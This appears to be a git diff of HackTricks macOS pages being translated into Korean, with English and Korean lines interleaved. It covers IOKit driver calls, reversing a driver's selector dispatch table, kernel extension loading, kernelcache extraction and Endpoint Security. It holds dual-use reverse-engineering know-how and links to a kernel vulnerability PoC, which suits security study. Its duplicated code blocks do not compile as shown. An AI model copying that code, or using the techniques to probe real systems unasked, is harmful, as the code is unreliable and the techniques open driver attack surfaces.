1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
1. **IOService Plane**: 가장 일반적인 plane으로, 드라이버와 nubs(드라이버 간의 통신 채널)를 나타내는 서비스 객체를 표시합니다. 이 객체들 간의 제공자-클라이언트 관계를 보여줍니다.
2. **IODeviceTree Plane**: 이 plane은 시스템에 연결된 장치 간의 물리적 연결을 나타냅니다. USB 또는 PCI와 같은 버스를 통해 연결된 장치의 계층 구조를 시각화하는 데 자주 사용됩니다.
3. **IOPower Plane**: 전원 관리 측면에서 객체와 그 관계를 표시합니다. 다른 객체의 전원 상태에 영향을 미치는 객체를 보여줄 수 있어 전원 관련 문제를 디버깅하는 데 유용합니다.
4. **IOUSB Plane**: USB 장치와 그 관계에 특별히 초점을 맞추어 USB 허브와 연결된 장치의 계층 구조를 보여줍니다.
5. **IOAudio Plane**: 이 plane은 시스템 내의 오디오 장치와 그 관계를 나타내는 데 사용됩니다.
6. ...
## Driver Comm Code Example
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
다음 코드는 IOKit 서비스 `"YourServiceNameHere"`에 연결하고 선택자 0 내의 함수를 호출합니다. 이를 위해:
- 먼저 **`IOServiceMatching`** 및 **`IOServiceGetMatchingServices`**를 호출하여 서비스를 가져옵니다.
- 그런 다음 **`IOServiceOpen`**을 호출하여 연결을 설정합니다.
- 마지막으로 선택자 0(선택자는 호출하려는 함수에 할당된 번호)로 **`IOConnectCallScalarMethod`**를 사용하여 함수를 호출합니다.
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
}
```
다른 **`IOConnectCallScalarMethod`** 외에도 **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**와 같은 IOKit 함수를 호출하는 데 사용할 수 있는 **다른** 함수가 있습니다.
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## 드라이버 진입점 리버싱
## Reversing driver entrypoint
예를 들어 [**펌웨어 이미지(ipsw)**](./#ipsw)에서 이를 얻을 수 있습니다. 그런 다음 좋아하는 디컴파일러에 로드하세요.
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
이 호출을 수신하고 올바른 함수를 호출하는 드라이버 함수인 **`externalMethod`** 함수를 디컴파일하는 것으로 시작할 수 있습니다:
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means:
그 끔찍한 호출의 디매글은 다음을 의미합니다:
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Note how in the previous definition the **`self`** param is missed, the good definition would be:
이전 정의에서 **`self`** 매개변수가 누락된 점에 유의하세요. 올바른 정의는 다음과 같습니다:
```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
실제 정의는 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388)에서 찾을 수 있습니다:
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
이 정보를 사용하여 Ctrl+Right -> `Edit function signature`를 다시 작성하고 알려진 유형을 설정할 수 있습니다:
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like:
새로 디컴파일된 코드는 다음과 같이 보일 것입니다:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
다음 단계에서는 **`IOExternalMethodDispatch2022`** 구조체가 정의되어 있어야 합니다. 이는 [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176)에서 오픈 소스로 제공되며, 이를 정의할 수 있습니다:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
이제 `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`를 따라 많은 데이터를 볼 수 있습니다:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`**
데이터 유형을 **`IOExternalMethodDispatch2022:`**로 변경합니다:
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change:
변경 후:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
이제 여기에는 **7개의 요소로 구성된 배열**이 있습니다(최종 디컴파일된 코드를 확인하세요). 7개의 요소로 구성된 배열을 생성하려면 클릭합니다:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions:
배열이 생성된 후에는 모든 내보낸 함수를 볼 수 있습니다:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
> 기억하신다면, 사용자 공간에서 **내보낸** 함수를 **호출**하려면 함수의 이름을 호출할 필요가 없고, **선택자 번호**를 호출해야 합니다. 여기에서 선택자 **0**은 함수 **`initializeDecoder`**이고, 선택자 **1**은 **`startDecoder`**, 선택자 **2**는 **`initializeEncoder`**입니다...
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,41 +1,40 @@
# macOS Kernel Extensions & Debugging
# macOS 커널 확장 및 디버깅
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 운영 체제에 추가 기능을 제공합니다.
### Requirements
### 요구 사항
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
명백히, 이것은 매우 강력하여 **커널 확장을 로드하는 것이 복잡합니다**. 커널 확장이 로드되기 위해 충족해야 할 **요구 사항**은 다음과 같습니다:
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
- **복구 모드**에 **진입할 때**, 커널 **확장이 로드될 수 있어야** 합니다:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
- 커널 확장은 **커널 코드 서명 인증서로 서명**되어야 하며, 이는 **Apple에 의해 부여**될 수 있습니다. 회사와 필요 이유를 자세히 검토할 것입니다.
- 커널 확장은 또한 **노타리제이션**되어야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다.
- 그런 다음, **root** 사용자만이 **커널 확장을 로드**할 수 있으며, 패키지 내의 파일은 **root에 속해야** 합니다.
- 업로드 과정에서 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- 마지막으로, 로드하려고 시도할 때, 사용자는 [**확인 요청을 받게**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 되며, 수락되면 컴퓨터는 **재시작**되어야 합니다.
### Loading process
### 로드 프로세스
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청**할 수 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
- It will talk to **`kextd`** by sending using a **Mach service**.
2. **`kextd`** will check several things, such as the **signature**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
- **`syspolicyd`** will report the result to **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
1. **`kextutil`** cli**확장을 로드하기 위한 검증** 프로세스를 **시작**합니다.
- **Mach 서비스**를 사용하여 **`kextd`**와 통신합니다.
2. **`kextd`**는 **서명**과 같은 여러 가지를 확인합니다.
- **`syspolicyd`**와 통신하여 확장이 **로드될 수 있는지 확인**합니다.
3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 요청**합니다.
- **`syspolicyd`**는 결과를 **`kextd`**에 보고합니다.
4. **`kextd`**는 결국 **커널에 확장을 로드하라고 지시**할 수 있습니다.
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
### Enumeration (loaded kexts)
**`kextd`**가 사용 불가능한 경우, **`kextutil`**이 동일한 검사를 수행할 수 있습니다.
### 열거(로드된 kexts)
```bash
# Get loaded kernel extensions
kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
> [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
> 커널 확장 프로그램은 `/System/Library/Extensions/`에 있어야 하지만, 이 폴더에 가면 **이진 파일을 찾을 수 없습니다**. 이는 **kernelcache** 때문이며, 하나의 `.kext`를 리버스 엔지니어링하려면 이를 얻는 방법을 찾아야 합니다.
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
**kernelcache**는 **XNU 커널의 미리 컴파일되고 미리 링크된 버전**과 필수 장치 **드라이버****커널 확장**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 과정 중 메모리로 압축 해제됩니다. kernelcache는 커널과 중요한 드라이버의 실행 준비가 된 버전을 제공하여 **부팅 시간을 단축**시키고, 부팅 시 이러한 구성 요소를 동적으로 로드하고 링크하는 데 소요되는 시간과 자원을 줄입니다.
### Local Kerlnelcache
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in:
iOS에서는 **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**에 위치하며, macOS에서는 **`find / -name "kernelcache" 2>/dev/null`**로 찾을 수 있습니다. \
제 경우 macOS에서 다음 위치에서 찾았습니다:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
IMG4 파일 형식은 Apple이 iOS 및 macOS 장치에서 펌웨어 구성 요소(예: **kernelcache**)를 안전하게 **저장하고 검증하기 위해** 사용하는 컨테이너 형식입니다. IMG4 형식은 헤더와 여러 태그를 포함하여 실제 페이로드(예: 커널 또는 부트로더), 서명 및 일련의 매니페스트 속성을 캡슐화합니다. 이 형식은 암호화 검증을 지원하여 장치가 실행하기 전에 펌웨어 구성 요소의 진위와 무결성을 확인할 수 있도록 합니다.
It's usually composed of the following components:
일반적으로 다음 구성 요소로 구성됩니다:
- **Payload (IM4P)**:
- Often compressed (LZFSE4, LZSS, …)
- Optionally encrypted
- 종종 압축됨 (LZFSE4, LZSS, …)
- 선택적으로 암호화됨
- **Manifest (IM4M)**:
- Contains Signature
- Additional Key/Value dictionary
- 서명 포함
- 추가 키/값 사전
- **Restore Info (IM4R)**:
- Also known as APNonce
- Prevents replaying of some updates
- OPTIONAL: Usually this isn't found
Decompress the Kernelcache:
- APNonce로도 알려짐
- 일부 업데이트의 재생 방지
- 선택 사항: 일반적으로 발견되지 않음
Kernelcache 압축 해제:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
### 다운로드
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
Check it for symbols with:
[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases)에서 모든 커널 디버그 키트를 찾을 수 있습니다. 다운로드하여 마운트하고 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 도구로 열어 **`.kext`** 폴더에 접근하고 **추출**할 수 있습니다.
다음으로 기호를 확인하세요:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
가끔 Apple은 **kernelcache**를 **symbols**와 함께 출시합니다. 이러한 페이지의 링크를 따라 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다.
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
파일을 **extract**하려면 `.ipsw` 확장자를 `.zip`으로 변경하고 **unzip**합니다.
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
펌웨어를 추출한 후에는 **`kernelcache.release.iphone14`**와 같은 파일을 얻게 됩니다. 이는 **IMG4** 형식이며, 다음을 사용하여 흥미로운 정보를 추출할 수 있습니다:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### 커널 캐시 검사
### Inspecting kernelcache
Check if the kernelcache has symbols with
커널 캐시에 기호가 있는지 확인하십시오.
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
With this we can now **extract all the extensions** or the **one you are interested in:**
이제 **모든 확장자를 추출**하거나 **관심 있는 확장자**를 추출할 수 있습니다:
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## 디버깅
## Debugging
## Referencias
## 참조
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)

View File

@ -1,10 +1,10 @@
# macOS Kernel Vulnerabilities
# macOS 커널 취약점
{{#include ../../../banners/hacktricks-training.md}}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
## [OTA 해킹](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
[**이 보고서에서는**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) 소프트웨어 업데이트 프로그램을 손상시켜 커널을 침해할 수 있는 여러 취약점이 설명되어 있습니다.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,76 +4,74 @@
## System Extensions / Endpoint Security Framework
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
Kernel Extensions와 달리, **System Extensions는 사용자 공간에서 실행**되어 확장 기능 오작동으로 인한 시스템 충돌 위험을 줄입니다.
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
System Extensions에는 **DriverKit** Extensions, **Network** Extensions, 및 **Endpoint Security** Extensions의 세 가지 유형이 있습니다.
### **DriverKit Extensions**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
DriverKit은 **하드웨어 지원**을 제공하는 커널 확장의 대체물입니다. USB, Serial, NIC 및 HID 드라이버와 같은 장치 드라이버가 커널 공간이 아닌 사용자 공간에서 실행될 수 있도록 합니다. DriverKit 프레임워크는 **특정 I/O Kit 클래스의 사용자 공간 버전**을 포함하며, 커널은 일반 I/O Kit 이벤트를 사용자 공간으로 전달하여 이러한 드라이버가 실행될 수 있는 더 안전한 환경을 제공합니다.
### **Network Extensions**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
Network Extensions는 네트워크 동작을 사용자 정의할 수 있는 기능을 제공합니다. 여러 유형의 Network Extensions가 있습니다:
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
- **App Proxy**: 흐름 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. 이는 개별 패킷이 아닌 연결(또는 흐름)을 기반으로 네트워크 트래픽을 처리함을 의미합니다.
- **Packet Tunnel**: 개별 패킷을 기반으로 네트워크 트래픽을 처리하는 패킷 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다.
- **Filter Data**: 네트워크 "흐름"을 필터링하는 데 사용됩니다. 흐름 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다.
- **Filter Packet**: 개별 네트워크 패킷을 필터링하는 데 사용됩니다. 패킷 수준에서 네트워크 데이터를 모니터링하거나 수정할 수 있습니다.
- **DNS Proxy**: 사용자 정의 DNS 제공자를 생성하는 데 사용됩니다. DNS 요청 및 응답을 모니터링하거나 수정하는 데 사용할 수 있습니다.
## Endpoint Security Framework
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
Endpoint Security는 시스템 보안을 위한 API 집합을 제공하는 Apple의 macOS 프레임워크입니다. 이는 **보안 공급업체와 개발자가 시스템 활동을 모니터링하고 제어하여 악의적인 활동을 식별하고 보호할 수 있는 제품을 구축하는 데 사용**됩니다.
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
이 프레임워크는 프로세스 실행, 파일 시스템 이벤트, 네트워크 및 커널 이벤트와 같은 시스템 활동을 모니터링하고 제어하기 위한 **API 모음**을 제공합니다.
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
이 프레임워크의 핵심은 커널에 구현되어 있으며, **`/System/Library/Extensions/EndpointSecurity.kext`**에 위치한 커널 확장(KEXT)입니다. 이 KEXT는 여러 주요 구성 요소로 구성됩니다:
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
- **EndpointSecurityDriver**: 커널 확장의 "진입점" 역할을 합니다. OS와 Endpoint Security 프레임워크 간의 주요 상호작용 지점입니다.
- **EndpointSecurityEventManager**: 커널 후크를 구현하는 책임이 있는 구성 요소입니다. 커널 후크는 시스템 호출을 가로채어 시스템 이벤트를 모니터링할 수 있게 합니다.
- **EndpointSecurityClientManager**: 사용자 공간 클라이언트와의 통신을 관리하며, 어떤 클라이언트가 연결되어 있고 이벤트 알림을 받아야 하는지를 추적합니다.
- **EndpointSecurityMessageManager**: 사용자 공간 클라이언트에 메시지와 이벤트 알림을 전송합니다.
The events that the Endpoint Security framework can monitor are categorized into:
Endpoint Security 프레임워크가 모니터링할 수 있는 이벤트는 다음과 같이 분류됩니다:
- File events
- Process events
- Socket events
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
- 파일 이벤트
- 프로세스 이벤트
- 소켓 이벤트
- 커널 이벤트 (예: 커널 확장을 로드/언로드하거나 I/O Kit 장치를 여는 경우)
### Endpoint Security Framework Architecture
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
**사용자 공간 통신**은 IOUserClient 클래스를 통해 Endpoint Security 프레임워크와 이루어집니다. 호출자 유형에 따라 두 가지 다른 하위 클래스가 사용됩니다:
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
- **EndpointSecurityDriverClient**: `com.apple.private.endpoint-security.manager` 권한이 필요하며, 이는 시스템 프로세스 `endpointsecurityd`만 보유합니다.
- **EndpointSecurityExternalClient**: `com.apple.developer.endpoint-security.client` 권한이 필요합니다. 이는 일반적으로 Endpoint Security 프레임워크와 상호작용해야 하는 타사 보안 소프트웨어에서 사용됩니다.
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
Endpoint Security Extensions:**`libEndpointSecurity.dylib`**는 시스템 확장이 커널과 통신하는 데 사용하는 C 라이브러리입니다. 이 라이브러리는 I/O Kit(`IOKit`)을 사용하여 Endpoint Security KEXT와 통신합니다.
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
**`endpointsecurityd`**는 엔드포인트 보안 시스템 확장을 관리하고 시작하는 데 관여하는 주요 시스템 데몬으로, 특히 초기 부팅 과정에서 중요합니다. **`Info.plist`** 파일에 **`NSEndpointSecurityEarlyBoot`**로 표시된 **시스템 확장만** 이 초기 부팅 처리를 받습니다.
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
